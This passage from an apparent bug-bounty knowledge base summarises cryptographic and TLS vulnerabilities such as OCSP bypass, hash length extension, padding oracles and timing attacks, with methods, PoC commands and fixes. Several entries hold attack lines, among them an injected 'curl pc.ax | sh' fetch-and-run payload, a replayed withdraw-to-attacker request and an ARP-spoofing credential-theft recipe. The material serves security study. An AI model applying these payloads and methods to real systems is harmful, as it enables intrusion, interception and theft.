Program curlSurface otherChain revoked/compromised cert -> OCSP check bypassed -> val
Root cause
OCSP-stapling enforcement code accepts a revoked/absent cert because it only fails on a literal 'revoked' status (treating unknown/unauthorized/other as OK), or because the presence of any response is treated as success, or because an alternate verification path skips the OCSP check entirely.
Method
- Get a server that returns a non-'good' OCSP staple: revoked, 'unauthorized(6)', or no staple at all.
- Connect with revocation enforcement requested (--cert-status / CURLOPT_SSL_VERIFYSTATUS).
- Compare backends: OpenSSL path errors; the vulnerable backend/path returns success -> revoked cert accepted.
# GnuTLS accepts non-'revoked' statuses (staple returns unauthorized(6)):
curl https://ocsp4test.sytes.net:4433 --cert-status
# OpenSSL serial-mismatch variant (#1048457): splice an OCSP response for a DIFFERENT cert of the same issuer
openssl ocsp -issuer chain.pem -cert good_cert.pem -url http://ocsp.digicert.com -respout resp.der
# Apple SecTrust variant (#3694390): SecTrust path skips verifystatus() when server sends no staple
curl -v --cert-status --ca-native https://localhost:4433/
Insight — OCSP-stapling enforcement is broken far more often than cert-chain validation. Test it directly: point the client at a revoked cert / a no-staple server / a staple whose serial differs from the peer cert, per TLS backend. Correct logic must fail-closed on revoked, unknown, unauthorized, AND missing responses and must bind the response serial to the peer cert.
Real-world example
HMAC request replay: body not covered by signature + short signature cache
◆ Medium
Specimen #425314 · gatecoin · awarded · 33 votes · resolved
Program gatecoinSurface api
Root cause
The API request signature covers only the URL/timestamp, not the request body, and cached signatures expire (5m) before the timestamp window closes, so a captured signature can be replayed with a different, more privileged body inside the overlap window.
Method
- Capture a signed request (e.g. create read-only API key) from a client whose clock is slightly ahead of the server
- Wait until the signature is evicted from the ~300s replay cache but the timestamp is still within the 5-minute validity window
- Replay the same signature toward the same URL but with a modified body (create a full-privilege / withdraw-enabled key)
- Server accepts it because the body was never signed
# original (signed) body: {"permissions":"read"}
# replayed within window, same signature/timestamp/URL:
{"permissions":"trade,withdraw","withdraw_address":"ATTACKER"}
Insight — Whenever a request signature is present, verify it actually covers the body/params (tamper one byte of the body, keep the signature) and check for a replay window between cache-eviction and timestamp-expiry. Signature != body integrity unless the body is in the signed payload.
Real-world example
Diffie-Hellman generateKeys() does not regenerate after setPrivateKey -> key/nonce reuse
◆ Medium
Specimen #2038484 · ibb · USD 1800 · 33 votes · resolved
Program ibbSurface other
Root cause
node:crypto DiffieHellman calls the OpenSSL keygen path which only creates a new private key when priv_key==NULL; after setPrivateKey() the field is populated, so generateKeys() silently keeps the old key -> ephemeral keys/nonces are reused.
Method
- Create a DH instance and call setPrivateKey() to a chosen value.
- Call generateKeys() expecting a fresh random key.
- Read back getPrivateKey() -> it is still the previously-set value; the 'ephemeral' key never rotated.
const dh = crypto.createDiffieHellman(1024);
dh.setPrivateKey(Buffer.from('02','hex'));
console.log(dh.getPrivateKey().toString('hex')); // 02
dh.generateKeys();
console.log(dh.getPrivateKey().toString('hex')); // 02 (NOT regenerated) -> key reuse
Insight — When a crypto API lets you set a key and then asks for fresh keys, verify the fresh keys actually differ. Wrappers over OpenSSL frequently skip regeneration when a field is already populated, causing silent nonce/ephemeral-key reuse that breaks forward secrecy / IND-CPA. Test set-then-generate and diff the outputs.
Real-world example
OAuth2 client_secret stored in plaintext (CVE-2023-45151)
◆ Medium
Specimen #1994324 · Nextcloud · USD 100 · 31 votes · resolved
Program NextcloudSurface webTag oauth
Root cause
OAuth2 client secrets were stored recoverably (plaintext) in the database, so any read access to a DB dump yields the secret and allows impersonation of any OAuth2 client.
Method
- Review OAuth/credential storage in source or a DB dump
- Locate the oauth2 client secret column stored as plaintext
- Confirm the secret is directly usable to impersonate the client
// nextcloud/apps/oauth2/lib/Controller/OauthApiController.php
// client_secret compared/stored in cleartext -> readable from a DB dump
Insight — When auditing OAuth/integration features, check how client secrets and tokens are stored. Secrets that must be verified (not re-shown) should be hashed; plaintext/encrypted-but-recoverable storage turns any DB read (SQLi, backup, dump) into full client impersonation.
Real-world example
Factorable 512-bit DKIM RSA key -> forge signed email
◆ Medium
Specimen #550937 · automattic · awarded · 27 votes · resolved
Program automatticSurface otherChain weak DKIM key -> factor -> private key -> DKIM-valiTag spoofing-phishing
Root cause
A DKIM selector publishes an RSA public key short enough (512-bit) to factor cheaply; recovering the private key lets an attacker sign spoofed mail that passes DKIM for the domain.
Method
- Enumerate DKIM selectors via DNS TXT with a selector wordlist (dig txt SELECTOR._domainkey.DOMAIN).
- Parse each 'p=' public key and measure its modulus size.
- For <=512-bit keys, factor the modulus (e.g. cloud FaaS factoring) to recover the private key and sign arbitrary mail.
dig txt my1._domainkey.wordpress.com +short
# p=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMXyekdYBZjcTskG1hwEji+J17DI9hPi... (512-bit)
# factor: https://github.com/eniac/faas
Insight — Add DKIM-selector enumeration to email-security recon: brute the selector namespace, extract each key's bit length, and flag any <=1024-bit (512-bit is trivially factorable). A recovered DKIM key -> perfectly DKIM-aligned phishing from the victim domain.
Real-world example
Predictable multipart boundary via Math.random() (undici)
◆ Medium
Specimen #2913312 · nodejs · none · 23 votes · resolved
Program nodejsSurface otherChain PRNG prediction -> multipart field injection -> backen
Root cause
undici generated the multipart/form-data boundary with Math.random(); V8's xorshift128+ state is recoverable from a handful of outputs (z3), so an attacker who observes some boundaries can predict future ones and inject/overwrite multipart fields the caller did not intend to expose.
Method
- Trigger the app to send FormData/fetch to an attacker-controlled URL and collect several boundary strings
- Recover the V8 PRNG state with a z3-based predictor and predict the next boundary
- Supply an attacker-controlled field whose value embeds the predicted boundary
- When the app builds its trusted multipart request, the injected boundary smuggles extra fields (e.g. overwrite customer_id) into the backend
# leak boundaries, solve xorshift128+ state, then embed predicted boundary in a controlled field
# predictor: https://github.com/PwnFunction/v8-randomness-predictor
Insight — Any security-relevant value from Math.random() (boundaries, tokens, filenames, IDs) is predictable. If you can leak a few outputs, you can forge the rest - here it becomes multipart field/parameter injection into an internal API.
Real-world example
AES-CBC without integrity (no HMAC/AEAD) -> padding oracle / CCA
◆ Medium
Specimen #216746 · phabricator · 750 · 22 votes · resolved
Program phabricatorSurface other
Root cause
File storage encrypted data with aes-256-cbc via openssl_encrypt and never authenticated the ciphertext, leaving it malleable and open to padding-oracle and chosen-ciphertext attacks.
Method
- Locate encryption that uses aes-*-cbc (or ECB) with no separate HMAC/MAC and no AEAD mode
- Confirm ciphertext is attacker-supplied or reflected and a decrypt path can act as an oracle
- Mount padding-oracle decryption / bit-flipping on the unauthenticated ciphertext
openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv); // no HMAC anywhere
Insight — Whenever you see CBC/ECB used without an accompanying HMAC or an AEAD mode (GCM/ChaCha20-Poly1305), flag it for padding oracle and bit-flipping. Grep source for openssl_encrypt/mcrypt with -cbc and no MAC verification.
Real-world example
Hash length extension on md5(secret+url) signed redirect
◆ Medium
Specimen #251572 · eternal · 100 · 22 votes · resolved
Program eternalSurface webChain signature forgery -> HTML injection (attempted XSS, block
Root cause
A redirect URL was authenticated with t = md5(secret + url), an unkeyed prefix-MAC vulnerable to hash length extension. Attacker appends arbitrary bytes to url and forges a valid t without knowing the secret.
Method
- Find a signed request: url param + hash param where hash = md5/sha1(secret + url)
- Use hash_extender to append payload and produce the extended message + forged hash
- Append HTML; a null byte breaks the Refresh header so the unescaped 'Redirecting you to...' page renders the injected HTML
# github.com/iagox86/hash_extender
hash_extender --data 'http://a.c' --secret <guessed_len> --append '<style>...</style><marquee>...' --signature <t> --format md5
# result: /redirect?u=<extended_url_with_nullbytes_and_html>&t=<forged_md5>
Insight — Any signature shaped like md5/sha1(secret + message) with a hex hash param alongside signed data is length-extension forgeable. Correct fix is HMAC. Brute the secret length with hash_extender; a null byte often disables the redirect and leaves your injected markup on the page.
Real-world example
TLS cert hostname check skipped when connecting by IP (curl+mbedTLS)
◆ Medium
Specimen #2416725 · curl · none · 17 votes · resolved
Program curlSurface other
Root cause
curl only called mbedtls_ssl_set_hostname when peer.sni was set. Connecting to an IP leaves sni=NULL, so mbedTLS never receives the name and skips the CN/SAN check - any valid certificate for any host is accepted, enabling spoofing/MITM.
Method
- Build curl >=8.5.0 (to 8.6.0) with mbedTLS
- Resolve a host and connect by raw IP: curl https://<ip>
- Connection succeeds against a cert that does not match the IP (should error 'no alternative certificate subject name matches')
curl https://93.184.216.34 # accepts example.org cert despite host mismatch
Insight — Certificate hostname verification is repeatedly skipped when connecting by IP or when SNI is unset (regression-prone: reintroduced CVE-2016-3739). Test HTTPS to raw IPs and to hosts with empty/odd SNI; a missing CN/SAN check is a MITM primitive.
Real-world example
RSA PKCS#1 v1.5 timing oracle (Marvin/Bleichenbacher) and non-constant-time crypto compares
◆ Medium
Specimen #2269177 · nodejs · none · 16 votes · resolved
Program nodejsSurface otherChain timing oracle -> RSA decryption / signature forgery / MACTag jwt
Root cause
crypto.privateDecrypt handled PKCS#1 v1.5 padding errors in non-constant time, leaking a timing oracle (Marvin, a Bleichenbacher variant) that lets an attacker decrypt captured RSA ciphertexts or forge signatures - dangerous for endpoints processing JWE. The related report #3533945 shows the same non-constant-time comparison flaw in HMAC verification (memcmp), a MAC-forgery timing oracle.
Method
- Find an endpoint that RSA-decrypts attacker ciphertext (e.g. JWE alg RSA1_5)
- Send many crafted ciphertexts and measure decryption timing to distinguish valid vs invalid PKCS#1 padding
- Run the adaptive Bleichenbacher/Marvin attack to recover plaintext or forge a signature
# timing oracle - no single payload; measure privateDecrypt latency over crafted PKCS#1 v1.5 ciphertexts
Insight — RSA PKCS#1 v1.5 decryption is a perennial padding/timing oracle - any endpoint decrypting attacker RSA ciphertext (JWE, custom crypto) may leak via timing. The same lesson applies to MAC/HMAC checks: non-constant-time comparison (memcmp) leaks bytes proportional to the match length (#3533945). Insist on constant-time / timing-safe comparisons.
Real-world example
OpenSSL::X509::Name #== off-by-one comparison bug (Ruby)
◆ Medium
Specimen #387250 · ruby · awarded · 11 votes · resolved
Program rubySurface other
Root cause
ossl_x509name_cmp compared its result with '> 1' instead of '> 0', so Name objects differing by one appended character or a one-off character value compared as equal - meaning a certificate with a different name can be accepted as legitimate.
Method
- Construct two X509::Name objects that differ by one char/length
- a == b returns true when it should be false (order-dependent)
- Any validation relying on Name equality accepts a near-miss name
Name([['CN','www.example.com']]) == Name([['CN','www.example.co']]) #=> true (BUG)
Insight — Identity/cert equality checks can hide subtle comparison bugs. When trust decisions depend on X509::Name (or any custom name compare), test near-miss names (one char longer/shifted). Broadly: verify the correctness of comparison functions used in trust checks.
Real-world example
Non-constant-time signature comparison enables timing forgery
◆ Medium
Specimen #239359 · automattic · awarded · 9 votes · resolved
Program automatticSurface webTag webhook
Root cause
A payment webhook verifies an md5 signature with PHP's === string comparison, which short-circuits on first differing byte, leaking match progress via timing and letting an attacker recover the signature character-by-character.
Method
- Identify a webhook/callback that compares an HMAC/md5 signature with == or ===
- Send requests varying the signature one hex char at a time, measuring response latency
- Keep the char that is measurably slower (matched further) and iterate across all 32 hex chars to forge a valid signature -> mark orders paid
if ( $signature === $_REQUEST['signature'] ) { ... }
// vulnerable non-constant-time compare
// fix: if ( hash_equals($signature, $_REQUEST['signature']) )
Insight — Grep target code / infer from behavior any signature or token check using ==/===/strcmp; those are timing oracles. md5 (32 hex chars) needs only ~32*16 guesses, feasible without distribution.
Real-world example
Timing attack on HTTP Basic auth via non-constant-time credential comparison (CVE-2015-7576)
◆ Medium
Specimen #94568 · rails · awarded · 7 votes · resolved
Program railsSurface web
Root cause
Rails' http_basic_authenticate_with compared username/password with the standard == operator, which short-circuits on first differing byte, leaking match progress through response timing.
Method
- Locate an app using HTTP Basic auth via http_basic_authenticate_with (fixed-credential controllers)
- Measure response time while varying the leading bytes of the supplied credential
- Byte-by-byte recover the correct value from timing differences
# vulnerable pattern:
"foo" == "bar" # short-circuits, timing varies
# fix: constant-time compare
ActiveSupport::SecurityUtils.variable_size_secure_compare(a, b) # SHA256 then secure_compare
Insight — Any auth/secret/token equality check with language-native == is timing-vulnerable. Grep for == comparisons of credentials/HMACs/tokens and replace with constant-time compares (secure_compare / hash_equals). The tell in Rails apps is a literal http_basic_authenticate_with call.
Real-world example
DiffieHellman.generateKeys() is a no-op after a key is set
◆ Medium
Specimen #1927480 · nodejs · none · 7 votes · resolved
Program nodejsSurface otherTag jwt
Root cause
OpenSSL DH_generate_key only generates when priv_key/pub_key are NULL; Node crypto exposes this so calling generateKeys() after setPrivateKey() silently keeps the old (attacker-chosen or weak) key instead of a fresh random one (CVE-2023-30590).
Method
- createDiffieHellman(1024)
- setPrivateKey(Buffer.from('02','hex'))
- generateKeys() then read getPrivateKey() -> still 0x02 (no fresh key generated).
const dh = crypto.createDiffieHellman(1024);
dh.setPrivateKey(Buffer.from('02','hex'));
dh.generateKeys();
console.log(dh.getPrivateKey().toString('hex')); // 02, not random
Insight — When auditing crypto wrappers, check that key-generation APIs actually reseed after any set/import. A generate() that silently no-ops on a pre-set key leads to fixed/reused DH keys -> broken forward secrecy. Test: set a known key, regenerate, confirm the value changed.
Real-world example
OpenSSL AES-NI CBC padding oracle (CVE-2016-2107)
◆ Medium
Specimen #197253 · formassembly · none · 5 votes · resolved
Program formassemblySurface web
Root cause
OpenSSL's AES-NI CBC-MAC path returns a distinguishable TLS alert on bad padding, re-opening a Lucky-13-style padding oracle that leaks plaintext of CBC-mode records.
Method
- Run the CVE-2016-2107 checker against the host
- Distinguish the oracle by alert type: DATA_LENGTH_TOO_LONG => vulnerable, BAD_RECORD_MAC => patched
- If vulnerable, a MitM can iteratively decrypt CBC records
git clone https://github.com/FiloSottile/CVE-2016-2107.git
cd CVE-2016-2107 && go run main.go www.TARGET.com
# Vulnerable: true
Insight — Padding oracles are detectable purely from differential error/alert responses; whenever a CBC decryption path returns two distinguishable failure signals (padding vs MAC), suspect an oracle.
Real-world example
Cipher-mode downgrade + known-plaintext keystream reuse defeats Encrypt-then-MAC
◆ Medium
Specimen #742588 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface webChain cipher downgrade -> HMAC strip -> known-plaintext firsTag file-upload
Root cause
Server-side encryption keeps backwards compatibility with unauthenticated CFB/OFB while newer files use authenticated CTR; because CFB/OFB/CTR share the same first-round keystream and the downgrade guard only requires a signature when the header says CTR, an attacker can rewrite the header to CFB, strip the HMAC, and forge the first 16 bytes via known-plaintext.
Method
- Obtain an encrypted file (as an untrusted external-storage admin) - no keys needed
- Change file header cipher from AES-256-CTR to AES-256-CFB and strip signature footers (strip-signature.php)
- Recover first-block keystream: XOR known plaintext (ELF magic / '#!/bin/bash') with the ciphertext
- Inject a chosen 16-byte payload into the first block (inject-content.php), e.g. 'curl pc.ax | sh\n'
# header downgrade CTR -> CFB, then keystream = C1 XOR knownP1
php strip-signature.php target.enc # remove HMAC footers, flip header to CFB
php inject-content.php target.enc 'curl pc.ax | sh\n' # inject over known first 16 bytes
Insight — An authenticated scheme is only as strong as its weakest still-accepted mode; a downgrade guard keyed on a self-describing header field is worthless because the attacker controls the header. Same-keystream first round makes CTR<->CFB downgrades a known-plaintext goldmine for files with predictable prefixes (ELF, shebangs, ZIP).
Real-world example
Un-cleared OpenSSL error stack pollutes later crypto operations
◆ Medium
Specimen #1808596 · nodejs · none · 5 votes · resolved
Program nodejsSurface apiTag jwt
Root cause
Node's crypto bindings don't clear the OpenSSL error stack after operations that may set it, so a stale error from a prior failing call (e.g. a certificate that failed to verify) leaks into a subsequent unrelated call on the same thread, making an operation that should succeed (e.g. signing a JWT) fail (CVE-2023-23919).
Method
- On one thread, perform a crypto op that fails and leaves an OpenSSL error on the stack (e.g. cert verify fail)
- Immediately perform a second, independent crypto op on the same thread (e.g. JWT sign)
- The second op inherits the stale error and fails/misbehaves
- Missing ClearErrorOnReturn also flagged in X509Certificate::CheckPrivateKey
// pattern: verify a bad cert then sign on the same thread
crypto.X509Certificate(...).verify(badKey) // sets OpenSSL error stack
jwt.sign(payload, privKey) // false-positive failure from stale error
// fix: ClearErrorOnReturn around each entry point
Insight — Shared mutable crypto state (OpenSSL's per-thread error stack) turns one failing operation into a cross-request denial-of-service or auth failure. When auditing native crypto wrappers, check that every entry point clears library error state on entry/return; test by chaining a failing op then a should-succeed op on one thread.
Real-world example
Unauthenticated AES-CFB storage encryption -> bit-flip EXE backdoor
◆ Medium
Specimen #108082 · owncloud · awarded · 4 votes · resolved
Program owncloudSurface webChain unauthenticated CFB -> bit-flip -> known-plaintext oveTag file-upload
Root cause
File-storage encryption uses AES-CFB with no MAC/authentication; a malicious storage admin can bit-flip ciphertext. CFB lets you flip arbitrary bits in a block (garbling only the next block), and known file structure (PE DOS stub) lets you overwrite it with attacker code.
Method
- Identify a known-structure encrypted file by name (e.g. putty.exe)
- Flip one bit in block 3 to invalidate the PE header so Windows runs the DOS stub
- XOR chosen 16-byte machine code over the near-constant DOS-stub block
- Result: backdoored executable, 16 bytes of code exec, extendable by chaining more blocks
# CFB malleability: flipping ciphertext bit i flips plaintext bit i of same block,
# and randomizes the NEXT block. Overwrite a known-plaintext block with:
# newC = oldC XOR knownP XOR desiredP
# PoC 'pwncloud [file]' prints 'PWN' from a manipulated exe
Insight — Encryption without authentication protects confidentiality, never integrity. Any unauthenticated stream/CFB/CTR ciphertext an attacker can read+write is malleable; combine malleability with known plaintext (file magic, DOS stub, archive headers) to forge content.
Real-world example
Math.random() as sole entropy for security values (weak PRNG)
◆ Medium
Specimen #678989 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface apiTag account-takeover
Root cause
Security-sensitive random values (crypto keys/IVs, share-link passwords, auth tokens) are generated from Math.random() (V8 XorShift128+), which is non-cryptographic, seedable, and whose internal state can be recovered from a few outputs - making generated secrets predictable.
Method
- Grep for Math.random() feeding key/IV/token/password/salt generation
- Confirm predictability: identical seed -> identical output
- Recover XorShift128+ state from observed outputs, then predict future values
node --random_seed=42 -e "console.log(require('crypto-js').lib.WordArray.random(16))"
# -> { words: [ -1477405629, 964516052, 1254255372, 1089500106 ] } (deterministic)
# fix: crypto.randomBytes(n) / window.crypto.getRandomValues()
Insight — Treat any Math.random() in a security path as broken: passwords, tokens, IVs, salts, reset codes. The generalizable check is 'what seeds this value and can an observer recover the state?' - applies to crypto-js WordArray.random, share-link password generators, and auth-token issuance alike.
Real-world example
App disables TLS peer verification on outbound requests
◆ Medium
Specimen #915585 · nextcloud · none · 4 votes · resolved
Program nextcloudSurface webChain disabled cert verify -> MitM federation -> forge publiTag webhookTag account-takeover
Root cause
Server-side HTTP client sets CURLOPT_SSL_VERIFYPEER=false (and effectively no host verification) for outgoing federation connections, so a network MitM can impersonate remote servers with a self-signed cert and feed forged data (here, ActivityPub public keys used to authenticate users) - CVE-2020-8279.
Method
- Grep the codebase/config for disabled verification: CURLOPT_SSL_VERIFYPEER=false, verify=False, rejectUnauthorized:false, InsecureSkipVerify:true
- Trigger the outbound request (webhook, federation, avatar/URL fetch, SSO metadata pull)
- MitM with a self-signed cert; the app accepts it -> spoof responses
// vulnerable
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
// grep across ecosystems:
// rejectUnauthorized:false | verify=False | InsecureSkipVerify:true | TrustAllCerts
Insight — Server-to-server calls are a blind spot: users never see a cert warning, so devs disable verification to fix a broken dev cert and ship it. Audit every outbound TLS client for disabled verification, especially where the fetched data is security-relevant (keys, tokens, SSO/OIDC metadata, webhooks).
Real-world example
Proxy agent returns socket without TLS upgrade on non-200 CONNECT -> cleartext secrets
◆ Medium
Specimen #541502 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface otherTag account-takeover
Root cause
https-proxy-agent (v2.2.1) sends a CONNECT to the proxy and, only on a 200, TLS-upgrades the tunneled socket. On any non-200 (e.g. a firewall/proxy 403), it returns the raw socket anyway; Node's HTTP internals then write the pending request - including Authorization/basic-auth headers - onto that unencrypted socket. An attacker controlling the proxy/firewall reads secrets in cleartext.
Method
- Point an https request through a proxy that responds non-200 to CONNECT (e.g. a 403 server).
- Observe the client emits the CONNECT, gets 403, then writes the GET (with Authorization: Basic ...) in plaintext to the same socket.
- Capture credentials via tcpdump at the proxy/firewall.
var HttpsProxyAgent=require('https-proxy-agent');
var opts=require('url').parse('https://www.google.com');
opts.agent=new HttpsProxyAgent(require('url').parse('http://127.0.0.1:80'));
opts.auth='username:password';
require('https').get(opts);
// proxy (a nc server returning 403) then receives:
// GET / HTTP/1.1\nHost: www.google.com\nAuthorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
Insight — Audit HTTP(S) proxy/tunnel client libraries for the failure path: when CONNECT does not return 200 the socket must be destroyed, never returned to the TLS layer. Returning an un-upgraded socket for a secure endpoint leaks the entire (encrypted-intended) request in cleartext.
Real-world example
Mishandled X509_verify_cert() internal-error return in libssl
◆ Medium
Specimen #1455411 · ibb · 1200 · 3 votes · resolved
Program ibbSurface other
Root cause
OpenSSL 3.0 mishandles a negative (internal-error) return from X509_verify_cert(): SSL_connect/SSL_do_handshake don't indicate success and SSL_get_error() returns SSL_ERROR_WANT_RETRY_VERIFY, a value apps that never set a custom verify callback don't expect - causing crashes/infinite loops. Compounded by a 3.0 bug where valid chains without SAN under CA name-constraints trigger the internal error (CVE-2021-4044).
Method
- Client uses OpenSSL 3.0.0 SSL/TLS without SSL_CTX_set_cert_verify_callback
- Attacker/server presents a chain that triggers the internal error (no-SAN cert under name-constrained CA)
- App receives unexpected SSL_ERROR_WANT_RETRY_VERIFY -> crash, hang, or incorrect handling
# affected: OpenSSL 3.0.0 clients; fixed in 3.0.1
# app must handle: SSL_get_error() == SSL_ERROR_WANT_RETRY_VERIFY (0x0B)
# even when it never called SSL_CTX_set_cert_verify_callback()
Insight — Error-handling paths in crypto libraries are attack surface: a negative/exceptional return that callers assume can't happen becomes DoS or auth-logic confusion. Audit every crypto entry point for how internal errors propagate, especially newly-introduced return codes.
Real-world example
OpenSSL config read from predictable attacker-controllable path (CVE-2022-32222)
◆ Medium
Specimen #1695596 · nodejs · none · 3 votes · resolved
Program nodejsSurface otherChain attacker-controlled openssl.cnf -> weakened OpenSSL confi
Root cause
Node's build hardcoded OPENSSLDIR to a build-time absolute path (/home/iojs/build/...); on a shared macOS host an attacker who can create that username/home directory plants an openssl.cnf that Node loads at startup, influencing OpenSSL config (ciphers, engines).
Method
- Determine the compiled-in OPENSSLDIR/openssl.cnf path (from binary strings or build gyp files).
- On a shared host, check if that path is under an attacker-creatable location (e.g. a self-chosen username's home).
- Plant a malicious openssl.cnf there; it is read by any victim process on startup, altering crypto config.
# Predictable build-time path baked into the binary:
/home/iojs/build/ws/out/Release/obj.target/deps/openssl/openssl.cnf
# Fix: point OPENSSLDIR at a fixed system dir, e.g. /System/Library/OpenSSL/ , not a build path.
Insight — Hardcoded/predictable config-file paths (openssl.cnf, plugin/engine dirs) are a privilege-boundary bug on multi-user hosts: whoever can create the path controls the config. Extract absolute paths from binaries (strings/otool) and check who can write them. Mirror bug for Linux was CVE-2022-32222's predecessor.
Real-world example
Forgeable server-side encryption: plaintext, unauthenticated public keys let a storage provider rewrite files
◆ Medium
Specimen #743505 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface webChain data-dir/storage access -> key forgery -> integrity br
Root cause
Nextcloud server-side encryption stores users' public keys as plain PEM on disk and does not integrity- or confidentiality-protect the key material; anyone with data-directory access (incl. a remote storage backend via davfs2/s3fs/sshfs) can generate a fresh file key, wrap it with the known public keys, re-encrypt content of equal length, and the server cannot distinguish forged files from its own (CVE-2020-8152).
Method
- Obtain access to the Nextcloud data directory or the external storage it lives on.
- Generate a fresh file key and envelope key (openssl rand).
- Encrypt the file key with the envelope key; replace the target's fileKey file.
- Encrypt the envelope key with each authorized user's on-disk public key; replace the <user>.shareKey files.
- Re-encrypt attacker content to the original plaintext length (use AES-256-CFB to skip needing the version/signature).
# key material the attacker can freely regenerate because pubkeys are plaintext & unauthenticated:
openssl rand -hex 32 # new file key
openssl rand -hex 16 # new envelope key
# tools: syseleven/nextcloud-tools encrypt-filekey.php / encrypt-envelopekey.php / encrypt-file.php
# CFB variant needs no version number and no signing
Insight — Encryption without integrity/authenticity binding of the KEYS (not just the data) fails against an attacker who controls storage. When reviewing at-rest encryption, ask: are the public keys/metadata signed and access-controlled, or can the storage layer swap them? Length-preserving re-encryption defeats naive size checks.
Real-world example
Client-side JS RSA instead of TLS -> pubkey-swap MITM password theft
◆ Medium
Specimen #223936 · undisclosed · none · 2 votes · resolved
Program undisclosedSurface webChain ARP spoof -> public-key substitution in page -> credenTag mitmTag account-takeover
Root cause
App forgoes HTTPS and instead ships an in-browser RSA.js that encrypts the password to a server public key delivered in the HTML. A MITM on the LAN rewrites the public-key modulus in the served page, so the browser encrypts the password to the attacker's key.
Method
- ARP-poison the victim <-> gateway with Ettercap to become an inline proxy.
- Intercept the GET of the login page and replace the server's RSA public-key modulus string in the HTML form with the attacker's modulus.
- Victim submits; RSA.js encrypts the password to the attacker key; capture the POST and decrypt with the attacker private key.
- Optionally re-encrypt under the real key and forward so the victim login still succeeds (stealth).
# Ettercap ARP MITM, then an etterfilter/HTML rewrite swapping the modulus in the login page.
# Decrypt captured ciphertext:
openssl rsautl -decrypt -inkey attacker_priv.pem -in captured_pw.bin
# Note: page's RSA.js used PKCS#1 v1.5 padding (chosen-ciphertext / Bleichenbacher risk).
Insight — Client-side JavaScript crypto delivered over an untrusted channel is not a security control: whoever controls the page controls the key. Whenever you see in-browser RSA/AES encrypting credentials before submit (especially over HTTP, or with the key embedded in the page), test key substitution. PKCS#1 v1.5 padding is an additional Bleichenbacher red flag.
Real-world example
Certificate verification bypass by parsing OpenSSL X509_print text (SAN string/NUL injection)
◆ Medium
Specimen #1429694 · nodejs · none · 2 votes · resolved
Program nodejsSurface otherChain crafted SAN -> divergent parse -> name-constraint/hostTag mitm
Root cause
Node parses the ad-hoc human-readable output of OpenSSL print functions (X509_print/SafeX509ExtPrint) to interpret certificate SANs. That text has no grammar and does not escape commas/spaces/NUL, so a crafted SAN yields a different parse in Node than in OpenSSL's real name-constraint check.
Method
- Identify code that reads cert fields from OpenSSL text output (subjectaltname, infoAccess) rather than the GENERAL_NAME structs.
- Obtain a cert (e.g. via a name-constrained intermediate for attacker.example) whose SAN literal contains injected separators, e.g. a single SAN value 'nodejs.org, DNS:blah.attacker.example'.
- OpenSSL name-constraint check passes on the true DER parse; Node re-reads the text as two names including nodejs.org -> hostname/constraint bypass.
- Interior NUL bytes additionally truncate non-DNS SAN types (revived null-prefix attack).
# Malicious SAN literal (one GENERAL_NAME whose value embeds a separator):
DNS:nodejs.org, DNS:blah.attacker.example
# Text output that Node then mis-splits:
X509v3 Subject Alternative Name:
DNS:nodejs.org, DNS:blah.attacker.example
# Correct approach: walk GENERAL_NAME structs / use OpenSSL hostname-checking APIs, never parse *_print output.
Insight — Treat any use of OpenSSL/X.509 *print* functions as a parsing sink: their output is diagnostic, unescaped, and NUL-truncating. Grep targets for cert-field handling that string-splits on ', ' -> SAN/CN injection and name-constraint bypass. This is the modern form of the classic NUL-prefix cert attack.
Real-world example
HSTS bypass via IDN character that nameprep-folds to '.' (CVE-2022-42916)
◆ Medium
Specimen #1730660 · curl · none · 2 votes · resolved
Program curlSurface otherChain HSTS bypass -> plaintext HTTP -> MITM downgrade / cred
Root cause
curl checked the HSTS cache against the raw host before IDN/nameprep normalization; a trailing IDN character such as U+3002 (ideographic full stop) that later folds to '.' made the host miss the HSTS entry, so the request went out over plaintext HTTP.
Method
- Have a host with an HSTS entry (e.g. accounts.google.com)
- Request the same host with a fullwidth/ideographic dot appended so it doesn't literally match the HSTS cache key
- curl fails the HSTS lookup and connects over HTTP; certificate (CN/SAN) validation still normalizes and succeeds, proving the host is equivalent
curl -v --hsts hsts.txt http://accounts.google.com。
Insight — Security checks keyed on a hostname must run AFTER IDN/Unicode normalization, not before. Look for TOCTOU between a normalization step and a security decision (HSTS, allowlists, SNI/cert pinning, SSRF host filters): a character that folds to '.', '/', '@' etc. can slip past the check but be honored by the connection.
Real-world example
KRACK: forcing nonce reuse via 4-way-handshake key reinstallation
◆ Medium
Specimen #286740 · ibb · awarded · 191 votes · resolved
Program ibbSurface networkChain channel MITM -> block handshake msg4 -> key reinstall
Root cause
A protocol/state-machine that reinstalls an already-installed session key on message retransmission resets the transmit nonce/packet-number counter to zero, so the same nonce+key encrypts multiple frames -> keystream reuse.
Method
- Channel-based MITM: clone the AP on another channel and use Channel Switch Announcements to move the victim onto the rogue channel.
- Forward handshake msgs 1-3; after the client installs the PTK, BLOCK msg 4 from reaching the AP.
- AP retransmits msg 3; client re-sends (encrypted) msg 4 with nonce=1 and REINSTALLS the key, resetting its nonce counter.
- Next data frame reuses nonce 1 -> XOR known keystream (from retransmitted msg 4 / predictable ARP/DHCP) to decrypt.
Insight — Any AEAD/stream construction whose key is (re)installed by a retransmit-triggered state transition risks nonce reset -> keystream reuse. When auditing custom crypto/handshakes, look for retransmission or replay paths that re-run key install; force them and check whether the IV/nonce/counter resets.
Real-world example
STARTTLS plaintext command injection to steal post-TLS interactions
◆ Medium
Specimen #953219 · portswigger · awarded · 78 votes · resolved
Program portswiggerSurface other
Root cause
An active MITM injects plaintext protocol commands before the STARTTLS upgrade; the server buffers/executes them after TLS begins (CVE-2011-0411 class), so attacker-chosen commands run inside the trusted session.
Method
- MITM the cleartext phase of a STARTTLS-upgraded protocol (SMTP/IMAP/POP3).
- Inject extra plaintext commands (e.g. a collaborator/identifier) into the buffer before 'STARTTLS'.
- After the client completes TLS, the pre-injected commands are processed as if issued in-session -> steal/redirect the interaction.
